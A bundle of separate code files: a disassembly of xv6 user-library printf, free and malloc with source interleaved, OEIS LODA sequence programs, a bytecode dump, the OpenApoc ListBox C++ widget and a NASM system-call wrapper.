3f28: 8b 45 d4 mov -0x2c(%ebp),%eax
ap++;
3f2b: 83 45 d4 04 addl $0x4,-0x2c(%ebp)
ap++;
} else if(c == 'x' || c == 'p'){
printint(fd, *ap, 16, 0);
ap++;
} else if(c == 's'){
s = (char*)*ap;
3f2f: 8b 38 mov (%eax),%edi
ap++;
if(s == 0)
s = "(null)";
3f31: b8 00 59 00 00 mov $0x5900,%eax
3f36: 85 ff test %edi,%edi
3f38: 0f 44 f8 cmove %eax,%edi
while(*s != 0){
3f3b: 0f b6 07 movzbl (%edi),%eax
3f3e: 84 c0 test %al,%al
3f40: 74 2a je 3f6c <printf+0x16c>
3f42: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
3f48: 88 45 e3 mov %al,-0x1d(%ebp)
#include "user.h"
static void
putc(int fd, char c)
{
write(fd, &c, 1);
3f4b: 8d 45 e3 lea -0x1d(%ebp),%eax
ap++;
if(s == 0)
s = "(null)";
while(*s != 0){
putc(fd, *s);
s++;
3f4e: 83 c7 01 add $0x1,%edi
#include "user.h"
static void
putc(int fd, char c)
{
write(fd, &c, 1);
3f51: c7 44 24 08 01 00 00 movl $0x1,0x8(%esp)
3f58: 00
3f59: 89 44 24 04 mov %eax,0x4(%esp)
3f5d: 89 34 24 mov %esi,(%esp)
3f60: e8 5d fd ff ff call 3cc2 <write>
} else if(c == 's'){
s = (char*)*ap;
ap++;
if(s == 0)
s = "(null)";
while(*s != 0){
3f65: 0f b6 07 movzbl (%edi),%eax
3f68: 84 c0 test %al,%al
3f6a: 75 dc jne 3f48 <printf+0x148>
} else {
// Unknown % sequence. Print it to draw attention.
putc(fd, '%');
putc(fd, c);
}
state = 0;
3f6c: 31 ff xor %edi,%edi
3f6e: e9 d8 fe ff ff jmp 3e4b <printf+0x4b>
3f73: 90 nop
3f74: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
#include "user.h"
static void
putc(int fd, char c)
{
write(fd, &c, 1);
3f78: 8d 45 e5 lea -0x1b(%ebp),%eax
} else {
// Unknown % sequence. Print it to draw attention.
putc(fd, '%');
putc(fd, c);
}
state = 0;
3f7b: 31 ff xor %edi,%edi
#include "user.h"
static void
putc(int fd, char c)
{
write(fd, &c, 1);
3f7d: c7 44 24 08 01 00 00 movl $0x1,0x8(%esp)
3f84: 00
3f85: 89 44 24 04 mov %eax,0x4(%esp)
3f89: 89 34 24 mov %esi,(%esp)
3f8c: c6 45 e5 25 movb $0x25,-0x1b(%ebp)
3f90: e8 2d fd ff ff call 3cc2 <write>
3f95: e9 b1 fe ff ff jmp 3e4b <printf+0x4b>
3f9a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
} else {
putc(fd, c);
}
} else if(state == '%'){
if(c == 'd'){
printint(fd, *ap, 10, 1);
3fa0: 8b 45 d4 mov -0x2c(%ebp),%eax
3fa3: b9 0a 00 00 00 mov $0xa,%ecx
} else {
// Unknown % sequence. Print it to draw attention.
putc(fd, '%');
putc(fd, c);
}
state = 0;
3fa8: 66 31 ff xor %di,%di
} else {
putc(fd, c);
}
} else if(state == '%'){
if(c == 'd'){
printint(fd, *ap, 10, 1);
3fab: c7 04 24 01 00 00 00 movl $0x1,(%esp)
3fb2: 8b 10 mov (%eax),%edx
3fb4: 89 f0 mov %esi,%eax
3fb6: e8 a5 fd ff ff call 3d60 <printint>
ap++;
3fbb: 83 45 d4 04 addl $0x4,-0x2c(%ebp)
3fbf: e9 87 fe ff ff jmp 3e4b <printf+0x4b>
while(*s != 0){
putc(fd, *s);
s++;
}
} else if(c == 'c'){
putc(fd, *ap);
3fc4: 8b 45 d4 mov -0x2c(%ebp),%eax
} else {
// Unknown % sequence. Print it to draw attention.
putc(fd, '%');
putc(fd, c);
}
state = 0;
3fc7: 31 ff xor %edi,%edi
while(*s != 0){
putc(fd, *s);
s++;
}
} else if(c == 'c'){
putc(fd, *ap);
3fc9: 8b 00 mov (%eax),%eax
#include "user.h"
static void
putc(int fd, char c)
{
write(fd, &c, 1);
3fcb: c7 44 24 08 01 00 00 movl $0x1,0x8(%esp)
3fd2: 00
3fd3: 89 34 24 mov %esi,(%esp)
while(*s != 0){
putc(fd, *s);
s++;
}
} else if(c == 'c'){
putc(fd, *ap);
3fd6: 88 45 e4 mov %al,-0x1c(%ebp)
#include "user.h"
static void
putc(int fd, char c)
{
write(fd, &c, 1);
3fd9: 8d 45 e4 lea -0x1c(%ebp),%eax
3fdc: 89 44 24 04 mov %eax,0x4(%esp)
3fe0: e8 dd fc ff ff call 3cc2 <write>
putc(fd, *s);
s++;
}
} else if(c == 'c'){
putc(fd, *ap);
ap++;
3fe5: 83 45 d4 04 addl $0x4,-0x2c(%ebp)
3fe9: e9 5d fe ff ff jmp 3e4b <printf+0x4b>
3fee: 66 90 xchg %ax,%ax
00003ff0 <free>:
static Header base;
static Header *freep;
void
free(void *ap)
{
3ff0: 55 push %ebp
Header *bp, *p;
bp = (Header*)ap - 1;
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
3ff1: a1 80 62 00 00 mov 0x6280,%eax
static Header base;
static Header *freep;
void
free(void *ap)
{
3ff6: 89 e5 mov %esp,%ebp
3ff8: 57 push %edi
3ff9: 56 push %esi
3ffa: 53 push %ebx
3ffb: 8b 5d 08 mov 0x8(%ebp),%ebx
Header *bp, *p;
bp = (Header*)ap - 1;
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
if(p >= p->s.ptr && (bp > p || bp < p->s.ptr))
3ffe: 8b 08 mov (%eax),%ecx
void
free(void *ap)
{
Header *bp, *p;
bp = (Header*)ap - 1;
4000: 8d 53 f8 lea -0x8(%ebx),%edx
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
4003: 39 d0 cmp %edx,%eax
4005: 72 11 jb 4018 <free+0x28>
4007: 90 nop
if(p >= p->s.ptr && (bp > p || bp < p->s.ptr))
4008: 39 c8 cmp %ecx,%eax
400a: 72 04 jb 4010 <free+0x20>
400c: 39 ca cmp %ecx,%edx
400e: 72 10 jb 4020 <free+0x30>
4010: 89 c8 mov %ecx,%eax
free(void *ap)
{
Header *bp, *p;
bp = (Header*)ap - 1;
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
4012: 39 d0 cmp %edx,%eax
if(p >= p->s.ptr && (bp > p || bp < p->s.ptr))
4014: 8b 08 mov (%eax),%ecx
free(void *ap)
{
Header *bp, *p;
bp = (Header*)ap - 1;
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
4016: 73 f0 jae 4008 <free+0x18>
4018: 39 ca cmp %ecx,%edx
401a: 72 04 jb 4020 <free+0x30>
if(p >= p->s.ptr && (bp > p || bp < p->s.ptr))
401c: 39 c8 cmp %ecx,%eax
401e: 72 f0 jb 4010 <free+0x20>
break;
if(bp + bp->s.size == p->s.ptr){
4020: 8b 73 fc mov -0x4(%ebx),%esi
4023: 8d 3c f2 lea (%edx,%esi,8),%edi
4026: 39 cf cmp %ecx,%edi
4028: 74 1e je 4048 <free+0x58>
bp->s.size += p->s.ptr->s.size;
bp->s.ptr = p->s.ptr->s.ptr;
} else
bp->s.ptr = p->s.ptr;
402a: 89 4b f8 mov %ecx,-0x8(%ebx)
if(p + p->s.size == bp){
402d: 8b 48 04 mov 0x4(%eax),%ecx
4030: 8d 34 c8 lea (%eax,%ecx,8),%esi
4033: 39 f2 cmp %esi,%edx
4035: 74 28 je 405f <free+0x6f>
p->s.size += bp->s.size;
p->s.ptr = bp->s.ptr;
} else
p->s.ptr = bp;
4037: 89 10 mov %edx,(%eax)
freep = p;
4039: a3 80 62 00 00 mov %eax,0x6280
}
403e: 5b pop %ebx
403f: 5e pop %esi
4040: 5f pop %edi
4041: 5d pop %ebp
4042: c3 ret
4043: 90 nop
4044: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
bp = (Header*)ap - 1;
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
if(p >= p->s.ptr && (bp > p || bp < p->s.ptr))
break;
if(bp + bp->s.size == p->s.ptr){
bp->s.size += p->s.ptr->s.size;
4048: 03 71 04 add 0x4(%ecx),%esi
404b: 89 73 fc mov %esi,-0x4(%ebx)
bp->s.ptr = p->s.ptr->s.ptr;
404e: 8b 08 mov (%eax),%ecx
4050: 8b 09 mov (%ecx),%ecx
4052: 89 4b f8 mov %ecx,-0x8(%ebx)
} else
bp->s.ptr = p->s.ptr;
if(p + p->s.size == bp){
4055: 8b 48 04 mov 0x4(%eax),%ecx
4058: 8d 34 c8 lea (%eax,%ecx,8),%esi
405b: 39 f2 cmp %esi,%edx
405d: 75 d8 jne 4037 <free+0x47>
p->s.size += bp->s.size;
405f: 03 4b fc add -0x4(%ebx),%ecx
p->s.ptr = bp->s.ptr;
} else
p->s.ptr = bp;
freep = p;
4062: a3 80 62 00 00 mov %eax,0x6280
bp->s.size += p->s.ptr->s.size;
bp->s.ptr = p->s.ptr->s.ptr;
} else
bp->s.ptr = p->s.ptr;
if(p + p->s.size == bp){
p->s.size += bp->s.size;
4067: 89 48 04 mov %ecx,0x4(%eax)
p->s.ptr = bp->s.ptr;
406a: 8b 53 f8 mov -0x8(%ebx),%edx
406d: 89 10 mov %edx,(%eax)
} else
p->s.ptr = bp;
freep = p;
}
406f: 5b pop %ebx
4070: 5e pop %esi
4071: 5f pop %edi
4072: 5d pop %ebp
4073: c3 ret
4074: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
407a: 8d bf 00 00 00 00 lea 0x0(%edi),%edi
00004080 <malloc>:
return freep;
}
void*
malloc(uint nbytes)
{
4080: 55 push %ebp
4081: 89 e5 mov %esp,%ebp
4083: 57 push %edi
4084: 56 push %esi
4085: 53 push %ebx
4086: 83 ec 1c sub $0x1c,%esp
Header *p, *prevp;
uint nunits;
nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1;
4089: 8b 45 08 mov 0x8(%ebp),%eax
if((prevp = freep) == 0){
408c: 8b 1d 80 62 00 00 mov 0x6280,%ebx
malloc(uint nbytes)
{
Header *p, *prevp;
uint nunits;
nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1;
4092: 8d 48 07 lea 0x7(%eax),%ecx
4095: c1 e9 03 shr $0x3,%ecx
if((prevp = freep) == 0){
4098: 85 db test %ebx,%ebx
malloc(uint nbytes)
{
Header *p, *prevp;
uint nunits;
nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1;
409a: 8d 71 01 lea 0x1(%ecx),%esi
if((prevp = freep) == 0){
409d: 0f 84 9b 00 00 00 je 413e <malloc+0xbe>
40a3: 8b 13 mov (%ebx),%edx
40a5: 8b 7a 04 mov 0x4(%edx),%edi
base.s.ptr = freep = prevp = &base;
base.s.size = 0;
}
for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){
if(p->s.size >= nunits){
40a8: 39 fe cmp %edi,%esi
40aa: 76 64 jbe 4110 <malloc+0x90>
40ac: 8d 04 f5 00 00 00 00 lea 0x0(,%esi,8),%eax
morecore(uint nu)
{
char *p;
Header *hp;
if(nu < 4096)
40b3: bb 00 80 00 00 mov $0x8000,%ebx
40b8: 89 45 e4 mov %eax,-0x1c(%ebp)
40bb: eb 0e jmp 40cb <malloc+0x4b>
40bd: 8d 76 00 lea 0x0(%esi),%esi
nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1;
if((prevp = freep) == 0){
base.s.ptr = freep = prevp = &base;
base.s.size = 0;
}
for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){
40c0: 8b 02 mov (%edx),%eax
if(p->s.size >= nunits){
40c2: 8b 78 04 mov 0x4(%eax),%edi
40c5: 39 fe cmp %edi,%esi
40c7: 76 4f jbe 4118 <malloc+0x98>
40c9: 89 c2 mov %eax,%edx
p->s.size = nunits;
}
freep = prevp;
return (void*)(p + 1);
}
if(p == freep)
40cb: 3b 15 80 62 00 00 cmp 0x6280,%edx
40d1: 75 ed jne 40c0 <malloc+0x40>
morecore(uint nu)
{
char *p;
Header *hp;
if(nu < 4096)
40d3: 8b 45 e4 mov -0x1c(%ebp),%eax
40d6: 81 fe 00 10 00 00 cmp $0x1000,%esi
40dc: bf 00 10 00 00 mov $0x1000,%edi
40e1: 0f 43 fe cmovae %esi,%edi
40e4: 0f 42 c3 cmovb %ebx,%eax
nu = 4096;
p = sbrk(nu * sizeof(Header));
40e7: 89 04 24 mov %eax,(%esp)
40ea: e8 3b fc ff ff call 3d2a <sbrk>
if(p == (char*)-1)
40ef: 83 f8 ff cmp $0xffffffff,%eax
40f2: 74 18 je 410c <malloc+0x8c>
return 0;
hp = (Header*)p;
hp->s.size = nu;
40f4: 89 78 04 mov %edi,0x4(%eax)
free((void*)(hp + 1));
40f7: 83 c0 08 add $0x8,%eax
40fa: 89 04 24 mov %eax,(%esp)
40fd: e8 ee fe ff ff call 3ff0 <free>
return freep;
4102: 8b 15 80 62 00 00 mov 0x6280,%edx
}
freep = prevp;
return (void*)(p + 1);
}
if(p == freep)
if((p = morecore(nunits)) == 0)
4108: 85 d2 test %edx,%edx
410a: 75 b4 jne 40c0 <malloc+0x40>
return 0;
410c: 31 c0 xor %eax,%eax
410e: eb 20 jmp 4130 <malloc+0xb0>
if((prevp = freep) == 0){
base.s.ptr = freep = prevp = &base;
base.s.size = 0;
}
for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){
if(p->s.size >= nunits){
4110: 89 d0 mov %edx,%eax
4112: 89 da mov %ebx,%edx
4114: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
if(p->s.size == nunits)
4118: 39 fe cmp %edi,%esi
411a: 74 1c je 4138 <malloc+0xb8>
prevp->s.ptr = p->s.ptr;
else {
p->s.size -= nunits;
411c: 29 f7 sub %esi,%edi
411e: 89 78 04 mov %edi,0x4(%eax)
p += p->s.size;
4121: 8d 04 f8 lea (%eax,%edi,8),%eax
p->s.size = nunits;
4124: 89 70 04 mov %esi,0x4(%eax)
}
freep = prevp;
4127: 89 15 80 62 00 00 mov %edx,0x6280
return (void*)(p + 1);
412d: 83 c0 08 add $0x8,%eax
}
if(p == freep)
if((p = morecore(nunits)) == 0)
return 0;
}
}
4130: 83 c4 1c add $0x1c,%esp
4133: 5b pop %ebx
4134: 5e pop %esi
4135: 5f pop %edi
4136: 5d pop %ebp
4137: c3 ret
base.s.size = 0;
}
for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){
if(p->s.size >= nunits){
if(p->s.size == nunits)
prevp->s.ptr = p->s.ptr;
4138: 8b 08 mov (%eax),%ecx
413a: 89 0a mov %ecx,(%edx)
413c: eb e9 jmp 4127 <malloc+0xa7>
Header *p, *prevp;
uint nunits;
nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1;
if((prevp = freep) == 0){
base.s.ptr = freep = prevp = &base;
413e: c7 05 80 62 00 00 84 movl $0x6284,0x6280
4145: 62 00 00
base.s.size = 0;
4148: ba 84 62 00 00 mov $0x6284,%edx
Header *p, *prevp;
uint nunits;
nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1;
if((prevp = freep) == 0){
base.s.ptr = freep = prevp = &base;
414d: c7 05 84 62 00 00 84 movl $0x6284,0x6284
4154: 62 00 00
base.s.size = 0;
4157: c7 05 88 62 00 00 00 movl $0x0,0x6288
415e: 00 00 00
4161: e9 46 ff ff ff jmp 40ac <malloc+0x2c>
|
; A298864: Ranks of products 3*p when all primes p and products 3*p are jointly ranked.
; 4,6,9,12,16,18,22,24,28,33,35,41,43,45,49,53,57,60,65,67,68,73,76,80,86,88,90,94,95,98,106,109,113,114,121,123,128,131,134,137,140,142,148,150,152,154,162,169,172,174,176,179,181,187,191,194,196,199,204,206,207,213,220,222,224,227,234,237,244,245,248,252,257,261,264,265,269,273,276,280,285,287,293,295,299,303,304,307,310,311,313,319,325,327,333,335,338,344,346,357
mov $1,$0
seq $1,40 ; The prime numbers.
mul $1,3
seq $1,230980 ; Number of primes <= n, starting at n=0.
add $0,$1
add $0,1
|
Entity start
No options
Constants
0 S start
1 S var1
2 S var2
3 I 10
4 I 1
5 S io.writeln
6 I 20
End
Valid context (always)
No properties
Def start
No parameters
Local variables
0 int var1
1 int var2
End
No results
ldconst 3 --> [10]
stvar 0 --> [var1]
ldvar 0 --> [var1]
ldconst 4 --> [1]
lcall 5 --> [io.writeln]
ldconst 6 --> [20]
stvar 1 --> [var2]
ldvar 1 --> [var2]
ldconst 4 --> [1]
lcall 5 --> [io.writeln]
stop
End
End
|
; A047514: Numbers that are congruent to {3, 4, 6, 7} mod 8.
; 3,4,6,7,11,12,14,15,19,20,22,23,27,28,30,31,35,36,38,39,43,44,46,47,51,52,54,55,59,60,62,63,67,68,70,71,75,76,78,79,83,84,86,87,91,92,94,95,99,100,102,103,107,108,110,111,115,116,118,119,123,124,126,127,131,132,134,135,139,140,142,143,147,148,150,151,155,156,158,159,163,164,166,167,171,172,174,175,179,180,182,183,187,188,190,191,195,196,198,199,203,204,206,207,211,212,214,215,219,220,222,223,227,228,230,231,235,236,238,239,243,244,246,247,251,252,254,255,259,260,262,263,267,268,270,271,275,276,278,279,283,284,286,287,291,292,294,295,299,300,302,303,307,308,310,311,315,316,318,319,323,324,326,327,331,332,334,335,339,340,342,343,347,348,350,351,355,356,358,359,363,364,366,367,371,372,374,375,379,380,382,383,387,388,390,391,395,396,398,399,403,404,406,407,411,412,414,415,419,420,422,423,427,428,430,431,435,436,438,439,443,444,446,447,451,452,454,455,459,460,462,463,467,468,470,471,475,476,478,479,483,484,486,487,491,492,494,495,499,500
mov $3,$0
mod $0,4
mov $1,4
sub $1,$0
div $1,2
add $1,1
mov $2,$3
mul $2,2
add $1,$2
|
#include "forms/listbox.h"
#include "dependencies/pugixml/src/pugixml.hpp"
#include "forms/scrollbar.h"
#include "framework/event.h"
#include "framework/framework.h"
#include "framework/renderer.h"
namespace OpenApoc
{
ListBox::ListBox() : ListBox(nullptr) {}
ListBox::ListBox(sp<ScrollBar> ExternalScrollBar)
: Control(), scroller_is_internal(ExternalScrollBar == nullptr), scroller(ExternalScrollBar),
ItemSize(64), ItemSpacing(1), ListOrientation(Orientation::Vertical),
ScrollOrientation(ListOrientation), HoverColour(0, 0, 0, 0), SelectedColour(0, 0, 0, 0),
AlwaysEmitSelectionEvents(false)
{
}
ListBox::~ListBox() = default;
void ListBox::configureInternalScrollBar()
{
scroller = this->createChild<ScrollBar>();
scroller->Size.x = 16;
scroller->Size.y = 16;
switch (ScrollOrientation)
{
case Orientation::Vertical:
scroller->Location.x = this->Size.x - scroller->Size.x;
scroller->Location.y = 0;
scroller->Size.y = this->Size.y;
break;
case Orientation::Horizontal:
scroller->Location.x = 0;
scroller->Location.y = this->Size.y - scroller->Size.y;
scroller->Size.x = this->Size.x;
break;
}
scroller->canCopy = false;
scroller_is_internal = true;
}
void ListBox::onRender()
{
Control::onRender();
Vec2<int> controlOffset = {0, 0};
if (scroller == nullptr)
{
configureInternalScrollBar();
}
for (auto c = Controls.begin(); c != Controls.end(); c++)
{
auto ctrl = *c;
if (ctrl != scroller && ctrl->isVisible())
{
ctrl->Location = controlOffset - this->scrollOffset;
if (ListOrientation == ScrollOrientation && ItemSize != 0)
{
switch (ScrollOrientation)
{
case Orientation::Vertical:
ctrl->Size.x = (scroller_is_internal ? scroller->Location.x : this->Size.x);
ctrl->Size.y = ItemSize;
break;
case Orientation::Horizontal:
ctrl->Size.x = ItemSize;
ctrl->Size.y = (scroller_is_internal ? scroller->Location.y : this->Size.y);
break;
}
}
switch (ListOrientation)
{
case Orientation::Vertical:
controlOffset.y += ctrl->Size.y + ItemSpacing;
if (ListOrientation != ScrollOrientation && controlOffset.y >= Size.y)
{
controlOffset.y = 0;
controlOffset.x += ctrl->Size.x + ItemSpacing;
}
break;
case Orientation::Horizontal:
controlOffset.x += ctrl->Size.x + ItemSpacing;
if (ListOrientation != ScrollOrientation && controlOffset.x >= Size.x)
{
controlOffset.x = 0;
controlOffset.y += ctrl->Size.y + ItemSpacing;
}
break;
}
}
}
resolveLocation();
switch (ScrollOrientation)
{
case Orientation::Vertical:
scroller->setMaximum(std::max(controlOffset.y - this->Size.y, scroller->getMinimum()));
break;
case Orientation::Horizontal:
scroller->setMaximum(std::max(controlOffset.x - this->Size.x, scroller->getMinimum()));
break;
}
scroller->updateLargeChangeValue();
}
void ListBox::postRender()
{
Control::postRender();
for (auto c = Controls.begin(); c != Controls.end(); c++)
{
auto ctrl = *c;
if (ctrl != scroller && ctrl->isVisible())
{
if (ctrl == hovered)
{
if (HoverImage)
{
fw().renderer->draw(HoverImage, ctrl->Location);
}
else
{
fw().renderer->drawRect(ctrl->Location, ctrl->Size, HoverColour);
}
}
if (ctrl == selected)
{
if (SelectedImage)
{
fw().renderer->draw(SelectedImage, ctrl->Location);
}
else
{
fw().renderer->drawRect(ctrl->Location, ctrl->Size, SelectedColour);
}
}
}
}
}
void ListBox::eventOccured(Event *e)
{
// ListBox does not pass mousedown and mouseup events when out of bounds
if ((e->type() != EVENT_MOUSE_DOWN && e->type() != EVENT_MOUSE_UP) || eventIsWithin(e))
{
Control::eventOccured(e);
}
if (e->type() == EVENT_FORM_INTERACTION)
{
sp<Control> ctrl = e->forms().RaisedBy;
sp<Control> child = ctrl->getAncestor(shared_from_this());
if (e->forms().EventFlag == FormEventType::MouseMove)
{
// FIXME: Scrolling amount should match wheel amount
// Should wheel orientation match as well? Who has horizontal scrolls??
if (ctrl == shared_from_this() || child != nullptr)
{
int wheelDelta =
e->forms().MouseInfo.WheelVertical + e->forms().MouseInfo.WheelHorizontal;
if (wheelDelta > 0)
{
scroller->scrollPrev();
}
else if (wheelDelta < 0)
{
scroller->scrollNext();
}
}
if (ctrl == shared_from_this() || ctrl == scroller)
{
child = nullptr;
}
if (hovered != child)
{
hovered = child;
this->pushFormEvent(FormEventType::ListBoxChangeHover, e);
}
}
else if (e->forms().EventFlag == FormEventType::MouseDown)
{
if (ctrl == shared_from_this() || ctrl == scroller)
{
child = nullptr;
}
if ((AlwaysEmitSelectionEvents || selected != child) && child != nullptr)
{
selected = child;
this->pushFormEvent(FormEventType::ListBoxChangeSelected, e);
}
}
}
}
void ListBox::update()
{
Control::update();
if (scroller == nullptr)
{
configureInternalScrollBar();
}
if (scroller)
{
size_t scrollerLength = Controls.empty() ? 0 : ItemSpacing * (Controls.size() - 1);
// deduct the listbox size from the content size
// assume item sizes are variable if ItemSize is 0 (ie: need to calculate manually)
switch (ListOrientation)
{
case Orientation::Vertical:
{
if (ItemSize == 0)
{
for (const auto &i : Controls)
scrollerLength += i->Size.y;
}
else
{
scrollerLength += Controls.size() * ItemSize;
}
scrollerLength = scrollerLength > Size.y ? scrollerLength - Size.y : 0;
break;
}
case Orientation::Horizontal:
{
if (ItemSize == 0)
{
for (const auto &i : Controls)
scrollerLength += i->Size.x;
}
else
{
scrollerLength += Controls.size() * ItemSize;
}
scrollerLength = scrollerLength > Size.x ? scrollerLength - Size.x : 0;
break;
}
default:
LogWarning("Unknown ListBox::ListOrientation value: %d",
static_cast<int>(ListOrientation));
break;
}
scroller->setMaximum(scroller->getMinimum() + scrollerLength);
scroller->update();
Vec2<int> newScrollOffset = this->scrollOffset;
switch (ScrollOrientation)
{
case Orientation::Vertical:
newScrollOffset.y = scroller->getValue();
break;
case Orientation::Horizontal:
newScrollOffset.x = scroller->getValue();
break;
}
if (newScrollOffset != this->scrollOffset)
{
this->scrollOffset = newScrollOffset;
this->setDirty();
}
}
}
void ListBox::unloadResources() {}
void ListBox::clear()
{
for (auto &c : Controls)
{
c->setParent(nullptr);
}
Controls.clear();
this->selected = nullptr;
this->hovered = nullptr;
if (scroller_is_internal)
{
configureInternalScrollBar();
}
resolveLocation();
this->setDirty();
}
void ListBox::addItem(sp<Control> Item)
{
Item->setParent(shared_from_this());
Item->ToolTipFont = this->ToolTipFont;
resolveLocation();
if (selected == nullptr)
{
selected = Item;
}
this->setDirty();
}
void ListBox::replaceItem(sp<Control> Item)
{
auto newData = Item->getData<void>();
this->setDirty();
bool found = false;
for (size_t i = 0; i < Controls.size(); i++)
{
auto oldItem = Controls[i];
if (oldItem->getData<void>() == newData)
{
Controls.erase(Controls.begin() + i);
Item->setParent(shared_from_this(), i);
Item->ToolTipFont = this->ToolTipFont;
resolveLocation();
if (oldItem == this->selected)
{
this->selected = Item;
}
if (oldItem == this->hovered)
{
this->hovered = Item;
}
found = true;
break;
}
}
if (!found)
{
addItem(Item);
}
}
sp<Control> ListBox::removeItem(sp<Control> Item)
{
this->setDirty();
if (Item == this->selected)
{
this->selected = nullptr;
}
if (Item == this->hovered)
{
this->hovered = nullptr;
}
for (auto i = Controls.begin(); i != Controls.end(); i++)
{
if (*i == Item)
{
Controls.erase(i);
resolveLocation();
Item->setParent(nullptr);
return Item;
}
}
return nullptr;
}
sp<Control> ListBox::removeItem(int Index)
{
this->setDirty();
auto c = Controls.at(Index);
Controls.erase(Controls.begin() + Index);
resolveLocation();
if (c == this->selected)
{
this->selected = nullptr;
}
if (c == this->hovered)
{
this->selected = nullptr;
}
c->setParent(nullptr);
return c;
}
sp<Control> ListBox::operator[](int Index) { return Controls.at(Index); }
sp<Control> ListBox::copyTo(sp<Control> CopyParent)
{
sp<ListBox> copy;
sp<ScrollBar> scrollCopy;
if (!scroller_is_internal)
{
scrollCopy = std::dynamic_pointer_cast<ScrollBar>(scroller->lastCopiedTo.lock());
}
if (CopyParent)
{
copy = CopyParent->createChild<ListBox>(scrollCopy);
}
else
{
copy = mksp<ListBox>(scrollCopy);
}
copy->ItemSize = this->ItemSize;
copy->ItemSpacing = this->ItemSpacing;
copy->ListOrientation = this->ListOrientation;
copy->ScrollOrientation = this->ScrollOrientation;
copy->HoverColour = this->HoverColour;
copy->SelectedColour = this->SelectedColour;
copyControlData(copy);
return copy;
}
void ListBox::configureSelfFromXml(pugi::xml_node *node)
{
Control::configureSelfFromXml(node);
auto itemNode = node->child("item");
if (itemNode)
{
if (itemNode.attribute("size"))
{
ItemSize = itemNode.attribute("size").as_int();
}
if (itemNode.attribute("spacing"))
{
ItemSpacing = itemNode.attribute("spacing").as_int();
}
}
auto orientationNode = node->child("orientation");
if (orientationNode)
{
UString value = orientationNode.text().get();
if (value == "horizontal")
{
ListOrientation = Orientation::Horizontal;
ScrollOrientation = Orientation::Horizontal;
}
else if (value == "vertical")
{
ListOrientation = Orientation::Vertical;
ScrollOrientation = Orientation::Vertical;
}
if (orientationNode.attribute("list"))
{
value = orientationNode.attribute("list").as_string();
if (value == "horizontal")
{
ListOrientation = Orientation::Horizontal;
}
else if (value == "vertical")
{
ListOrientation = Orientation::Vertical;
}
}
if (orientationNode.attribute("scroll"))
{
value = orientationNode.attribute("scroll").as_string();
if (value == "horizontal")
{
ScrollOrientation = Orientation::Horizontal;
}
else if (value == "vertical")
{
ScrollOrientation = Orientation::Vertical;
}
}
}
auto hoverColourNode = node->child("hovercolour");
if (hoverColourNode)
{
uint8_t r = hoverColourNode.attribute("r").as_uint(0);
uint8_t g = hoverColourNode.attribute("g").as_uint(0);
uint8_t b = hoverColourNode.attribute("b").as_uint(0);
uint8_t a = hoverColourNode.attribute("a").as_uint(255);
HoverColour = {r, g, b, a};
}
auto selColourNode = node->child("selcolour");
if (selColourNode)
{
uint8_t r = selColourNode.attribute("r").as_uint(0);
uint8_t g = selColourNode.attribute("g").as_uint(0);
uint8_t b = selColourNode.attribute("b").as_uint(0);
uint8_t a = selColourNode.attribute("a").as_uint(255);
SelectedColour = {r, g, b, a};
}
}
void ListBox::setSelected(sp<Control> c)
{
// A sanity check to make sure the selected control actually belongs to this list
bool found = false;
for (auto child : this->Controls)
{
if (child == c)
{
found = true;
break;
}
}
if (c && !found)
{
LogError(
"Trying set ListBox selected control to something that isn't a member of the list");
}
this->selected = c;
this->setDirty();
}
sp<Control> ListBox::getSelectedItem() { return selected; }
sp<Control> ListBox::getHoveredItem() { return hovered; }
}; // namespace OpenApoc
|
[BITS 32]
GLOBAL api_putstrwin
[SECTION .text]
api_putstrwin: ; void api_putstrwin(int win, int x, int y, int col, int len, char *str);
PUSH EDI
PUSH ESI
PUSH EBP
PUSH EBX
MOV EDX, 6
MOV EBX, [ESP+20] ; win
MOV ESI, [ESP+24] ; x
MOV EDI, [ESP+28] ; y
MOV EAX, [ESP+32] ; col
MOV ECX, [ESP+36] ; len
MOV EBP, [ESP+40] ; str
INT 0x40
POP EBX
POP EBP
POP ESI
POP EDI
RET
|
; A160765: Expansion of (1+13*x+32*x^2+13*x^3+x^4)/(1-x)^5.
; 1,18,112,403,1071,2356,4558,8037,13213,20566,30636,44023,61387,83448,110986,144841,185913,235162,293608,362331,442471,535228,641862,763693,902101,1058526,1234468,1431487,1651203,1895296,2165506,2463633,2791537,3151138,3544416,3973411,4440223,4947012,5495998,6089461,6729741,7419238,8160412,8955783,9807931,10719496,11693178,12731737,13837993,15014826,16265176,17592043,18998487,20487628,22062646,23726781,25483333,27335662,29287188,31341391,33501811,35772048,38155762,40656673,43278561,46025266,48900688,51908787,55053583,58339156,61769646,65349253,69082237,72972918,77025676,81244951,85635243,90201112,94947178,99878121,104998681,110313658,115827912,121546363,127473991,133615836,139976998,146562637,153377973,160428286,167718916,175255263,183042787,191087008,199393506,207967921,216815953,225943362,235355968,245059651,255060351,265364068,275976862,286904853,298154221,309731206,321642108,333893287,346491163,359442216,372752986,386430073,400480137,414909898,429726136,444935691,460545463,476562412,492993558,509845981,527126821,544843278,563002612,581612143,600679251,620211376,640216018,660700737,681673153,703140946,725111856,747593683,770594287,794121588,818183566,842788261,867943773,893658262,919939948,946797111,974238091,1002271288,1030905162,1060148233,1090009081,1120496346,1151618728,1183384987,1215803943,1248884476,1282635526,1317066093,1352185237